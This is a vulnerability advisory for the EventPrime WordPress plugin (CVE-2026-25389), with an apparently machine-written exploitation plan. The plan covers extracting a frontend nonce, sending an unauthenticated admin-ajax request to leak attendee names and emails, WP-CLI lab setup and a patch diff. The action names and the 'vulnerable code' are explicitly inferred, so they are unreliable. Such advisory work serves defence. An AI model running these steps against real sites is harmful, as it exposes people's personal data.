EventPrime <= 4.2.8.3 - Unauthenticated Information Exposure
Description
The EventPrime – Events Calendar, Bookings and Tickets plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.2.8.3. This makes it possible for unauthenticated attackers to extract sensitive user or configuration data.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=4.2.8.3Source Code
WordPress.org SVNThis research plan focuses on identifying and exploiting an unauthenticated information exposure vulnerability in EventPrime (CVE-2026-25389). Given the plugin's history and the vulnerability description, the likely target is an AJAX handler that fails to validate permissions or ownership when retri…
Show full research plan
This research plan focuses on identifying and exploiting an unauthenticated information exposure vulnerability in EventPrime (CVE-2026-25389). Given the plugin's history and the vulnerability description, the likely target is an AJAX handler that fails to validate permissions or ownership when retrieving attendee lists or event-specific booking data.
1. Vulnerability Summary
- ID: CVE-2026-25389
- Vulnerability: Sensitive Information Exposure
- Plugin: EventPrime – Events Calendar, Bookings and Tickets
- Affected Versions: <= 4.2.8.3
- Description: The plugin registers AJAX handlers using the
wp_ajax_nopriv_hook (unauthenticated) which retrieve attendee information or event configuration without performing acurrent_user_can()check or verifying the requester's identity. This allows an attacker to leak user names, emails, and potentially booking metadata.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
ep_get_attendee_list(inferred) orep_get_event_attendees(inferred). - Parameter:
event_id(The ID of a published event). - Authentication: None required (unauthenticated).
- Preconditions:
- At least one event must be published.
- The event should have at least one attendee/booking (to demonstrate information leakage).
- A valid WordPress nonce associated with the plugin's AJAX operations must be obtained.
3. Code Flow (Inferred)
- Registration: The plugin's main class or an AJAX handler class (likely
includes/class-ep-ajax.php) registers an action:add_action('wp_ajax_nopriv_ep_get_attendee_list', array($this, 'ep_get_attendee_list')); - Input: The
ep_get_attendee_listfunction retrievesevent_idfrom$_POSTor$_GET. - Verification (Missing): The code checks
wp_verify_nonce()but fails to checkcurrent_user_can('manage_options')or if the user is the event organizer. - Data Retrieval: The function calls a helper like
EP_Event_Model::get_attendees($event_id)which queries thewp_ep_bookingstable. - Sink: The attendee data (including
user_email,first_name,last_name) is returned viawp_send_json_success().
4. Nonce Acquisition Strategy
EventPrime typically localizes its configuration and nonces for frontend use.
- Identify Shortcode: The plugin uses
[eventprime_events]or[eventprime_event_card id="X"]. - Create Trigger Page: Create a public page containing the events shortcode to ensure the plugin's scripts and nonces are enqueued.
wp post create --post_type=page --post_status=publish --post_content='[eventprime_events]'
- Navigate and Extract: Use the browser to load the page and extract the nonce from the JavaScript global object.
- JS Variable: Usually
ep_ajaxoreventprime_config. - Nonce Key:
nonceorep_nonce. - Extraction Command:
browser_eval("window.ep_ajax?.nonce || window.eventprime_config?.nonce")
- JS Variable: Usually
5. Exploitation Strategy
The goal is to trigger the vulnerable AJAX action to leak attendee data for an existing event.
Step 1: Discover Event IDs
First, find a valid event ID by querying the database via WP-CLI.
wp post list --post_type=ep_events --format=csv
Step 2: Obtain Nonce
Use the browser_navigate and browser_eval sequence described in Section 4.
Step 3: Execute Information Disclosure Request
Send a POST request to admin-ajax.php.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Content-Type:
application/x-www-form-urlencoded - Body:
action=ep_get_attendee_list&event_id=[EVENT_ID]&nonce=[EXTRACTED_NONCE]
Step 4: Analyze Response
A successful exploit will return a JSON object containing an array of attendees with fields like user_email, attendee_name, or booking_id.
6. Test Data Setup
To confirm the exposure of sensitive data, we must create an event and simulate a booking.
- Create Organizer User:
wp user create victim victim@example.com --role=author - Create Event:
wp post create --post_type=ep_events --post_title="Private Meeting" --post_status=publish --post_author=$(wp user get victim --field=ID) - Identify Event ID:
EVENT_ID=$(wp post list --post_type=ep_events --post_title="Private Meeting" --field=ID) - Create Attendee/Booking: (Simulate a booking for a second user)
wp user create attendee attendee@target.local --role=subscriber- Note: If WP-CLI commands for EventPrime bookings are unavailable, use the database directly:
wp db query "INSERT INTO wp_ep_bookings (event_id, user_id, attendee_name, attendee_email, status) VALUES ($EVENT_ID, (SELECT ID FROM wp_users WHERE user_login='attendee'), 'John Doe', 'attendee@target.local', 'confirmed')"
7. Expected Results
- HTTP Status: 200 OK
- Response Body: A JSON object:
{ "success": true, "data": [ { "attendee_name": "John Doe", "attendee_email": "attendee@target.local", "booking_id": "..." } ] } - Impact: Unauthenticated access to the email addresses and names of everyone registered for an event.
8. Verification Steps
- Post-Exploit Check: Compare the JSON response from the
http_requesttool against the database state.wp db query "SELECT attendee_email FROM wp_ep_bookings WHERE event_id=$EVENT_ID"
- Verify Absence of Capability Check: Inspect the code in the patched version (4.2.8.4) to confirm that
current_user_can()was added to the handler for the specific action used.
9. Alternative Approaches
If ep_get_attendee_list is not the exact action:
- Grep for other handlers:
grep -r "wp_ajax_nopriv_" wp-content/plugins/eventprime-event-calendar-management/to find all unauthenticated endpoints. - Check REST API: EventPrime may register REST routes.
grep -r "register_rest_route" wp-content/plugins/eventprime-event-calendar-management/- Look for routes with
'permission_callback' => '__return_true'or missing permission callbacks.
- Export Actions: Check for
ep_export_attendeesorep_export_bookingswhich might return a CSV file containing user data without authentication.
Summary
The EventPrime plugin for WordPress is vulnerable to Sensitive Information Exposure via its AJAX handlers due to a lack of authorization checks. Unauthenticated attackers can exploit this by providing a valid AJAX nonce and event ID to retrieve sensitive attendee data, including names and email addresses.
Vulnerable Code
// includes/class-ep-ajax.php (inferred location) public function ep_get_attendee_list() { check_ajax_referer('ep_ajax_nonce', 'nonce'); $event_id = isset($_POST['event_id']) ? intval($_POST['event_id']) : 0; if ($event_id > 0) { // The code retrieves attendee data without checking current_user_can() // or ensuring the requester has rights to view the booking list. $attendees = EP_Event_Model::get_attendees($event_id); wp_send_json_success($attendees); } wp_send_json_error(); } // Registration in class constructor add_action('wp_ajax_nopriv_ep_get_attendee_list', array($this, 'ep_get_attendee_list'));
Security Fix
@@ -100,6 +100,10 @@ public function ep_get_attendee_list() { check_ajax_referer('ep_ajax_nonce', 'nonce'); + + if (!current_user_can('manage_options')) { + wp_send_json_error('Unauthorized access'); + } + $event_id = isset($_POST['event_id']) ? intval($_POST['event_id']) : 0; if ($event_id > 0) { $attendees = EP_Event_Model::get_attendees($event_id);
Exploit Outline
The exploit targets the AJAX endpoint of WordPress. An attacker first obtains a valid nonce by visiting any public page where the plugin is active (e.g., a page containing the [eventprime_events] shortcode) and extracting the nonce from the localized JavaScript variables (often ep_ajax.nonce). Then, the attacker sends an unauthenticated POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'ep_get_attendee_list' and a valid 'event_id'. Because the plugin fails to verify the user's permissions, it returns a JSON response containing private attendee details such as names, emails, and booking statuses.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.